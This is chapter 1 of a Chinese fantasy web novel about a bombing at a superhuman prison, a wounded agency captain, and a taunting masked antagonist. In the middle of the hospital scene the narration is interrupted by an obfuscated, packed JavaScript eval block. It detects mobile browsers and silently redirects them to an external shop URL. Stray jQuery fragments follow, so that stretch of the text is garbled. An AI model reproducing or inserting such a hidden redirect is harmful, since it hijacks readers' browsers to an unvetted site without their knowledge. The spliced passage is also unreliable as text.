1. 第 1 章
    凌晨一点四十分,达莱州第一监狱万籁俱寂。

    这是一座戒备森严的坚固堡垒,矗立在达莱市人工河的中央岛屿之上,最外围是一圈十几米高的厚墙,与外界连接仅有一座可升降吊桥。

    寂静很快被雷声划破,接着就是倾盆大雨。

    郑骁是被雨水落在玻璃窗上的敲击声吵醒的。

    作为达莱地区最大的监狱,这里的监舍全部是不到十平米的单人小房间。固定位置的一床一桌,半扇窗户嵌在床头上方,偶尔会有光挤进来。最坏的情况就是下雨,雨水不要命似的砸在玻璃上,发出的噪音极其惹人心烦。

    郑骁怒骂了几声操,翻身捂住耳朵继续尝试入睡。

    乍然间,有一束细微的光线晃过他的眼皮,一闪而逝的功夫,郑骁猛地睁开眼睛,彻底醒了。

    他飞快坐起身,如临大敌,瞪着床尾所对的铁门,但上面的长方形小窗口紧闭着。

    熄灯后的监狱里只剩黑暗,无一列外。

    可他没有瞎,并且足够信任自己的视觉,即使吃过午饭后刚被警卫扎了一管异能抑制剂。

    除了那束莫名其妙一晃而过的光,身边没再有其他动静,那就只有一个可能。郑骁缓缓抬起头,看向床头上方,那扇高高在上、俯视他的窗户。

    黑黢黢的雨夜里,一双血一样的红色眼睛正在窗外一眨不眨地盯着他。

    郑骁陡然一骇,差点惊叫出声,定睛看才发现那只是一只鸟,一只夜鹭。

    没等他气急败坏地跟那死鸟对着瞪,它倏地飞走了,不留痕迹。

    “晦气东西!”他一连又骂了好几声。

    但那是一只鸟,不是一束光。

    等郑骁慢吞吞地开始回想谁的异能是控制鸟群的时候,冲天的火光先一步抵达,他身后的墙轰然碎裂,爆炸声震耳欲聋,厚重巨大的石块接连不断地从上坠下,顷刻间将他压在床上,没地方可逃,他只能张大嘴巴拼命护住头部。

    接连的爆炸声和监狱的警报声响起,伴随着某处骨头断裂的声音。郑骁疼得要命,却一边吐血,一边忍不住大叫。

    火光点燃黑夜,点燃达莱州第一监狱。

    “靠!是哪个疯子!”

    “肯定是黑庭的人,劫狱来了。”

    “你怎么知道?”

    “异管局行动队的楚佑坤知道吧?在我们这儿蹲好几天了,就是怕他们来劫狱。”

    “原来是——啊!!!”

    两名躲在的监控室桌下的值班警卫骤然被一脚踢翻,脑袋一起撞在桌角,被震得头晕眼花。

    “妈的!哪个傻——”刚想破口大骂,一抬头,对上一双冷厉视线,瞬间噤了声。

    居高临下的楚佑坤冷声说:“带我去关郑骁的牢房。”

    两个值班警卫立刻从桌下滚出来了。

    整座监狱都醒了,警报声刺耳地尖叫着,火势仍在蔓延,警卫们飞快进行应急措施,一部分灭火,寻找是否还有未爆的炸弹,另一部分则迅速前往被炸出窟窿的地方。

    楚佑坤以最快速度抵达了目的地,打开铁门,领着两个警卫,在硝烟和碎石块堆里把郑骁挖出来。

    人已经神志不清,像是快要窒息而死,血糊得满脸都是,后脑勺也被砸破了口。

    楚佑坤先是立即把郑骁的手腕和自己拷在一起,随后两根手指伸进他嘴里硬抠,终于让他把喉咙里的血吐出来,呼吸恢复顺畅。

    对方明显是知道郑骁牢房的位置,但这种炸法,不像是要把他劫出去,倒像是想要他的命。

    下一秒,楚佑坤猛地趴下,大力扯过郑骁伏在一个大石块下面。

    仅仅慢了一步,一声枪响被淹没在混乱中,子弹高速擦过皮肤。楚佑坤整条左臂都被震得发麻,被子弹划烂血肉的剧痛在蔓延,侵蚀着他的神智。

    两名警卫乱了阵脚,楚佑坤冲他们喊:“快去叫人!侦查052号牢房的狙击点!”

    枪声又响两次,警卫的尖叫声里掺满恐惧,尚未移动,他们一人被射穿了一条大腿。

    雨水混着血水流淌,楚佑坤费力把郑骁拖到石块下面,十分不适地眯着眼睛喘粗气,只能等待支援。

    这个时候,如果对方再投一枚炸弹,他和郑骁都必死无疑。

    但火力攻击就此戛然而止。

    十分钟后,异能管理局武装中心赶到,楚佑坤和郑骁从石块下面被拖出来,紧急送医。

    他始终惦记着这个罪犯,不停嘱咐周围人:“不能让郑骁独处一室,就算是手术室,里面也得守着警卫。”

    怕的不是他,是要杀他的人。

    这一整夜,达莱第一监狱像是受伤的狰狞巨兽,红□□交替闪烁,大雨把所有痕迹洗刷殆尽。

    -

    凌晨五点,楚佑坤刚从手术室出来,躺在病床上,半梦半醒间,耳边只有医用仪器整整齐齐的滴滴声。

    这个时候,脚步声和手枪上膛的声音就显得尤为突兀。

    他猛地睁开眼睛,对上了一双黑红色魔鬼面具后模糊不清的瞳孔。

    来人挥了挥右手的枪,手背上是一块扭曲钟表的刺青,变声器处理过的声音像是恶魔的低语:“楚队长,我来给你送礼物啦!”

    “这里面有一颗子弹,这里——”他举起左手:“是能炸穿监狱的炸弹。”

    “你坏了我的好事,不过我很喜欢你,所以礼物可以由你自己选,你看,我够不够善良?”他眼睛微弯,像是笑了。

    瞥见他手背上的钟表刺青,仅刹那间,楚佑坤浑身汗毛直立。

    他咬着牙,低吼:“许重枷,你这个疯子!”

    “楚队长,这就不对了,我来送礼,您怎么还骂人?”他的声音里还是带着浓浓笑意,“快选吧,你的时间很宝贵。”

    楚佑坤双目赤红,狠狠瞪着他。

    此时,窗户那边传来动静,两人一齐看过去,一只乌鸦站在窗台上,用尖嘴啄了啄窗户,十分诡异地发出了人声:“九哥,有情况。”

    戴着帽兜和面具的男人转过头,继续望着楚佑坤,片刻后,他手指一松,啪一声把枪扔在了地上,歪头眯了眯眼,顿时兴致缺缺:“楚佑坤,你真没意思。我的时间也很宝贵,你不选,我帮你选。”

    楚佑坤忍住疼痛,迅速起身扯掉了手背上的针,只见男人扔下了左手那枚炸弹,下一个瞬间不见人影。

    他猛地从病床上飞扑过去,拼尽全力把那枚炸弹压在身下。

    两秒后,炸弹砰的一声爆了,楚佑坤视死如归地紧闭双眼,想象中的剧痛却没有出现,只有刺鼻的臭鸡蛋味从身下蔓延。

    无色气体填满了整个病房,报警器响起,外面走廊的寂静渐渐被杂乱的脚步声替代。

    医院保安赶到时,只看见楚佑坤坐在地上,左手拿着一枚画着花的炸弹,右手里是装了一颗橡皮子弹的手枪。

    “咳咳…

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573035|142991||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    …这里边是什么味儿啊?”

    有人回答:“好像是氨气。”

    话音刚落,异能管理局行动队队长愤怒地对着空气大骂脏话。

    -

    达莱市位于联邦北部达莱州的边缘,是北部地区最繁华,也最重要的临海城市,有着北部乃至整个联邦最大的贸易港,经济科技实力都位于顶端。

    达莱第一监狱被袭击的新闻在次日清晨迅速席卷网络,异能管理局官方给出的解释是恐怖分子试图劫狱,但被武装中心及时阻止了,灾难不会扩大,请市民稍安勿躁。

    骂声铺天盖地,明眼人都看得出来,这意思不就是凶手到现在还没抓到,武装中心只能捡人家掉地上的蛋糕吃。

    异管局敷衍的办案态度已经不是一天两天,年轻市民都觉得还不如给异能者□□交保护费,只有老人看得清局势,明白其中的无可奈何。

    在达莱,政府、异管局和规模最大的异能者组织黑庭,形成了一种诡异而和谐的平衡状态,黑庭在全球异能者圈层中有着说一不二的地位,其总部又在达莱,注定了这地方没法是极昼或极夜。

    西区霓虹街一家酒吧,林山靖坐在卡座里,喝着低度数果酒,听着他派去的乌鸦汇报情况。

    他笑得差点把酒吐出来。

    贺明珠剜他一眼:“笑屁。”

    林山靖:“你知道你九哥干什么了吗?哈哈哈哈哈,他把——”

    话音未落,脑袋被一掌抽歪了,林山靖抬眼,捂头大骂:“有病啊许重枷!”

    帽兜下,棱角分明的下颚线露出来,再往上,是直挺的鼻梁骨,以及高眉深目。一张年轻而锐利的脸上挂了个极其不着调的笑,眼神直直盯着人的时候,像在引诱。

    “我过来不是听你讲笑话,有事说事,别跟我放屁。”笑收起来了,眼神不再像引诱,像拷问。

    郑骁还活着,林山靖知道他在气头上,没再说废话,勾勾手示意他坐下:“我打听到一个消息,你绝对感兴趣。”

    许重枷坐下,摘了帽兜,拿起桌上的酒喝了一口,立刻拧起眉,这东西淡得他想吐出来,白开水似的。

    林山靖:“白许回来了。”

    咕噜一声,许重枷喉结一动,把那口没味道的酒吞进喉咙里了。

    林山靖继续说:“异管局聘了个心理医生,这事儿本来没什么特别的,但我看这医生名字有点意思啊,就让小黑去翻了档案,照片上的脸还真是那张。”

    小黑是他的一只夜鹭。林山靖的异能是控制鸟群,但尤其喜欢黑色的鸟。

    “照片。”

    “啊?”

    “照片给我!”许重枷语气冷的吓人。

    “神经病啊你,我没事偷人家照片干嘛!”

    许重枷立刻起身往外走,头也不回。

    “干吗去啊!”

    贺明珠正跟一个男模喝酒,闻言掀起眼皮,颇为无语地看了眼林山靖:“呆逼,你九哥要去偷照片了。”

    后者呆若木鸡,“……以前只是有神经病,现在脑子完全坏了?白许都死六年了,还能诈尸啊。”

    贺明珠:“你不懂,许重枷这个人,就算刀戳着心脏,他也要穿过去,看看握刀那人的脸。”

    “行,你最懂,他就是个疯子。”

    “跟疯不疯没关系,”唇齿相碰,她的口红印在了男模的唇上,气息吞吐间,她轻声说:“是因为这把刀的名字叫白许。”